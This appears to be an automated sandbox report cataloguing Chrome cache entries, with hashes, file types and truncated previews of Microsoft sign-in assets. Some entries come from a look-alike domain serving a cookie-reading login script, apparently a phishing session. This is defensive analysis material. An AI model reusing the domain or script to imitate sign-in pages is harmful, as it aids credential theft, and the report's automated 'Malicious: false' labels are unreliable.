SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.307354922057605
Encrypted:	false
SSDEEP:	3:8Kiun9ks:8Kiun2s
MD5:	9F9FA94F28FE0DE82BC8FD039A7BDB24
SHA1:	6FE91F82974BD5B101782941064BCB2AFDEB17D8
SHA-256:	9A37FDC0DBA8B23EB7D3AA9473D59A45B3547CF060D68B4D52253EE0DA1AF92E
SHA-512:	34946EF12CE635F3445ED7B945CF2C272EF7DD9482DA6B1A49C9D09A6C9E111B19B130A3EEBE5AC0CCD394C523B54DD7EB9BF052168979A9E37E7DB174433F64
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISFwnCmZIHGkYSwhIFDdFbUVISBQ1Xevf9?alt=proto
Preview:	ChIKBw3RW1FSGgAKBw1Xevf9GgA=

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2349), with CRLF line terminators
Category:	downloaded
Size (bytes):	3442
Entropy (8bit):	5.397835838180394
Encrypted:	false
SSDEEP:	96:gC3Na5+GX+Ti2XsYEkAsushswsos4Jq0yTMQr+CT:gC345VXiiWswJq0yThr+CT
MD5:	CD3D29CBDC5D40EE599BF8CA5638D447
SHA1:	FD330FA0AC05B729F18BC285CDDCD1AA96306C23
SHA-256:	29B61D27C6C99F12FA70D8FC1A827BD0AD076AFDE83EADDFFD68B94F07D1FCA3
SHA-512:	E4632FC32DB8DE856F15D44B63041C3C3F296A0DBB792BB2C9D7390F009826AD51EF6D619AC0E2F83EA2924DD7E8AA41C87E3DBE05FD06B5CB2FDA0D887FB39A
Malicious:	false
Reputation:	low
URL:	https://ywnjb.mojopowertsinctech.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 223759
Category:	downloaded
Size (bytes):	54327
Entropy (8bit):	7.995342650743788
Encrypted:	true
SSDEEP:	1536:WHF4eNKn3x71l8RMoCzDetQ3+FBaKkA3nLB7zUnNU+mNQzb:WmeKh7IRbto81kK9PKN9mN+b
MD5:	57ADC65B869CB0786F6797BB3ABE4B8A
SHA1:	DEFEE923183F3A518013EF2355F281A1BD01C729
SHA-256:	B0A9AE22DF0B48EE2C8145E878FA5F8CC5069C4FE31AAD0426F5AB4B2B3F2BDC
SHA-512:	8E6EF22D539EABB4AAB9CC4E343ADD855225C1FDDC9F9DB9473940B16F25108459C1E8A797F0D4C9030A4CE6BF53388F1427D4A7754FEB42A860F04A61749EC8
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_88c449fa421fff689c33.js
Preview:	...........k{.F.0.}...gF.L."..eR..v.y.O....g...............~...@....f<...F./...u...;............x.y.C...y...sx.....^=}.....N.W.I.Y$.....".w....$..\|..a...+.7O.eg.gW..2...8*..2)J..<^f.:.4..;....<}.....ZK.......5..,;iV&Q...9......;U:....$....DyVd....Q...N......N..".;.,//.8...X..ZP7......&shpA...a.I.C\U0i.&K..}m..1..9.N.u....^.'I/:......r...a^Ee.f..oq..e'..y..U..;...T(...<L..;X.."..8-}.^L.._w.....f.w..V.x.kK..K../.A..[....oE....G..ao0...\........Qv.7..eX..70.....\|.s.}.#...:..t...$.}=....s..g.}Q..........SO.....p.%..v..\|.Fo.. ..,e.......=;;..7...J#......{7o....;.........<..?.........^.Q...~.$..e.[.I.+x...`.<....'q....."P....7...q.vU.]X....W.S.Ag...qY......A...O...q._..I.pwb..R...1..MxI.....+.......7e._../.r..Q..8-_]..q......U?....MK.......{\.er.gU9..\|@.p..'pn.aM.........0YVyl...'..-....g....b..n....9....q..7...j...@.>..T...2..X....9.Wu`,..V..'.Y8......P.e?.m..q..XB_~.....W<<_....^o.I.h!.c...Y..m.x{S.7.&%\)..@....,....a#......F.90..(~.[..

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	20
Entropy (8bit):	3.6086949695628414
Encrypted:	false
SSDEEP:	3:KAam:Kjm
MD5:	6BB67F495601048D153FBC0E1B5D05CE
SHA1:	23A3E77DB69B11287E84568C2E94192A1EBE4E2C
SHA-256:	5B053E9B260D50775B96A767F054A10724CF5EC33A2A5AD06842AB96B439A108
SHA-512:	A0D0736DC0249FCC064019486F59F7F82D0861FE3B32E87D1E177B5E7D593279CBC55D25781674F40D88516CCB63722A431BD22F29003A521AE096D40336E3CA
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkuJsum9Yzc8RIFDbT67LQ=?alt=proto
Preview:	Cg0KCw20+uy0GgQIZBgC

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/images/microsoft_logo_7lyNn7YkjJOP0NwZNw6QvQ2.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (2349), with CRLF line terminators
Category:	downloaded
Size (bytes):	3442
Entropy (8bit):	5.395934460365441
Encrypted:	false
SSDEEP:	96:gC3Na5+GX+Ti2XsYEkAsushswsosMq0yTMQr+CT:gC345VXiiWsEq0yThr+CT
MD5:	89AFA57ACFF5449ECE2CC2FA991F3EB7
SHA1:	3BC7CC40D2D90128C51C36BAAD36AAE2FC48B7E7
SHA-256:	94B50BE51DE6B2A0E21EDB40728B418FDF59A73C4D8D0613D3A37FEFB9B0D9BF
SHA-512:	22734EA89CD48EF3B24D882E0DFDEF5FE48CCFAB978B01A24B2053E088E39CA6E517398A184B3F04F08A63189C92B8BDF8399F49DAD0B757B348313703815621
Malicious:	false
Reputation:	low
URL:	https://ywnjb.mojopowertsinctech.com/Me.htm?v=3
Preview:	<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={};return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===o.indexOf(t))return o.substring(t.length)}return null}function s(n,t,e){if(n)for(var i=n.split(":"),s=null,o=0,a=i.length;o<a;++o){var l=null,c=i[o].split("$");if(0===o&&(s=parseInt(c.shift()),!s))return;var p=c.length;if(p>=1){var f=r(s,c[0]);if(!f\|\|e[f])continue;l={signInName:f,idp:"msa",isSignedIn:!0}}if(p>=3&&(l.firstName=r(s,c[1]),l.lastName=r(s,c[2])),p>=4){var g=c[3],m=g.split("\|");l.otherHashedAliases=m}if(p>=5){var h=parseInt(c[4],16);h&&(l.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1378
Category:	downloaded
Size (bytes):	628
Entropy (8bit):	7.6610853322771
Encrypted:	false
SSDEEP:	12:X6/EjXb5e1vpPDySPLiDB/3YLZzrlDuLRndk6l3WZi1epo7IyhadSH8Ib1yfuI:X6cP5e3dgYLMk69Ii1epryt/Md
MD5:	6F68E9881DF18F8E251AB57D5786239B
SHA1:	C0F7A01A288752833390FC330995F25488BCE8EC
SHA-256:	B33E30351B2F4EF67D53D2C6DBE189A4D572425037E4F1264A0190DC4A820845
SHA-512:	B33DFF67480DF940FA0565B231E02F26840DCB5135A4A2FF3C310AA062D3D4B456FA9C8C6E2BC59EC76B515EA1B36D574A5701771BCEE7CEE97B99EF60A803C6
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg
Preview:	..........m.Mo.0.....]%F..6...rX.;..&i..].&HZ...#%...B..4.W$.....>....v8...f....g.O/.3k....ms.o....m...a8.......u..4>.]....r~8...%.....x.m.y].....u.>..7....l.]....i..fC.[O..z.)..r..........g!(.+....4.P9.0@.......R.......^q.I[..7.....Q;...6.N....a.d.%....:...6FE.}.......}s.`LV..Q.U. 8..}..y.&..I..a.\.8%..kgoo.Q6...>.5.8..!.....".t9].v.B) `.G6.V.E\..AJQU.7...J.oS..........@......l.....{.r..KP@......9YD..U......&..:..d......+/...(..:.S_...S......n..z.a...,.,&VB......eJR)...R.H3])>....9O.........KDi.O..#...-?D.1..N.p....h.#.Z.[/..!.h..$..S..Phdqd....}.....E>g..q5..J.T......u.....i.b...

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://signup.live.com/Resources/images/2_vD0yppaJX3jBnfbHF1hqXQ2.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 28981
Category:	downloaded
Size (bytes):	7203
Entropy (8bit):	7.957414144235107
Encrypted:	false
SSDEEP:	192:hxLf1m7xU3bfEQ2Ki5vY92Nm5cQqSDhJAd:hxT1mIwQ1ava5Ad
MD5:	E136BF6A4163DFAF362EE33A5CCE2141
SHA1:	6BF60E30FD6DC097BD7F50F67622C6ED2E9117FC
SHA-256:	4C9D555EA3719C873C5EDDA8B109BD4A136ACBECE2DD0324FD7634F63BB4584E
SHA-512:	9717178B54637299A4B5AFFA39F27712176B7B70A89C939D9B6920F06BED4AE97224C1FAD4B1B0D9CE13AAA2758C8BD2DD32C7A4A9B535649A9A93C9ACD8A942
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/lwsignupstringscountrybirthdate_en-us_gdxUIqa3ijrOefuBnwhTKg2.js?v=1
Preview:	...........\.r.Hr..)..#...Q......DI.[$..)....D.,...(N....1...!\|........&~.g.@"...................g...^}.U...R..J.ka.W.....Y..{..:..B..$........J..._KZ..:p...4]:..x.J..Nn......%...{..x..d..\K.. .^ORq.\..p5.:-,\|.......S...(\g~.k_.eA.....`).:y.b.).W+.:...E..<...0.q...g..0..V...e$j.....uh}R...,[y...K.k.X.....u.%\..#\.....f..Z...?[.........p..~0...>8.r ......\|..s......qKX..qh.])`.@o-...p.+.....<.Lb.J..k.W.]..eH...Ac..1B...p......\|.........B.Ur....Qj.~...j...x0?_...pq........Y.......K...x.f.....BY3a?...z..Z...WK1.F+.cX.#.6...G.$.YV..P;....S..SW...q#..?2......v...q....G.Mb?....;......h.3.D.9x.....BD...@...v..%....?.P..1.............y........_....5..~.\|].......C.'....8.lf.u]....n.T.....s..k......@.,.;..tR.]..%..B.G..W....\{-..;.b....H].....j.\...w.M.=..vQ.lZ..v.....~<.....o.$$9i...q.'..\.....(..3..$...Rq...<9.A......./..i._(P.Z..B.I.=..K.0..& ja.0..s...!....H.C....Q..U\|k.p.+..#D..;.,.m...............`.\|..q.YC....c,.r.....Z...u..).H!-....@..J...H1..

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 95910
Category:	downloaded
Size (bytes):	17755
Entropy (8bit):	7.985805274338916
Encrypted:	false
SSDEEP:	384:7P/snh9IWQT5yz/+u+ZoU9a5pXAeTHNxDyG6d1zC9pvFe5:j/HWWyqu+ZoU9atAeTHzeGgv5
MD5:	5E5918E943A26D2E4037BD7418076110
SHA1:	06B96FC7B61F3EF879A3D37536AE28BC47B0CF48
SHA-256:	1F0A2E09C97C138320FBA7E9291D31247912914223FBFE953917005BAC107A88
SHA-512:	DB49B108F7EBF7431ACB9215605C2D39813F2E7DE7A982632F1C69BE6F77FFC8217D1A7D94661F93DA1D17C1F6C6295852387413CC5B780B4829BAD1975CCF3D
Malicious:	false
Reputation:	low
URL:	https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1
Preview:	...........}is.F..w...\.XY..-J.....Y.K..V.."!.k.`..e.....s_=.(...D.D...\===3}\|......H..U...~.&..y._U.^.."..<..gi.P.2(.2.>..0......n....g./.w?...N..........N_....<zt.H..I...^Fe<..,. .f..q.,.w.DipU..Z........iRVP.2N..).+..YTT....~.\.l..M2(=...U2..(.Sl)\|..8Xg..n..l.._.....)(.nV...".....Z.v..9..XKZ.......O...^...%..h.j..&e.,...FHd..f...n.5o..O.].0n..C..:h.\|=.B......@!9...N..A.y..ez.\.QF.\T...].q..........A.\ACh.:A\V.j..dn)........Z.TusYv/.."Zu.,...p......G...^..9.=./...i.q...z.apq.T0...4.=zt...%...{...R.l..<....f....;d~..6X.EI..e.%...R.#...@f....7.v>K"2Q.\|.&.Cg..6..B.{...>.d.G.$.."..h."_S.d.f.Vg...6..4Y&..R.Q.#@.......`..+.7..Z./a..:.<!./..$.$..f...; .2N.G.!!...h].-.....$)7..dO.........0d.F.JH....SX.k.<.'.G.....2.....L.J..*.d1].\|...${D.Dw.R}Y........gw3.._....~........<8{.._./O^.{....^'....../..x..-pc`....'........g.O..w....9{}z.i.o_........P..w......^..H.....9A.....W.........<....-.....3................@./....?..ZN.....VH.N.._..W.

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (45329)
Category:	downloaded
Size (bytes):	141105
Entropy (8bit):	5.429871888755082
Encrypted:	false
SSDEEP:	1536:PyeDrQwQlTPRUbx3pCg/Mn1Yii5WLeV5g+LDY2Js0VgtWiTJmxyCXP3onrGGBxua:5Qpzg/MF18v+UyJbBwKIcw8
MD5:	18EC06DC3F77E8E7C9FFE9735AD88786
SHA1:	35232E70C350238E5693B8BD66EE046E95DC956F
SHA-256:	B1929EEBC1FB383D6DB843B846C166EE5074BC0C22431043A3F4C89752985E8A
SHA-512:	B39FCAA1D329CC8A6831E6A859B92CDC8ECC54A34FA7B787D53F31508A1CA406BBEE1985E8F1B1DB187D5C3230FAFBC7436F01D1CFDC09B607922F83A408F3A0
Malicious:	false
Reputation:	low
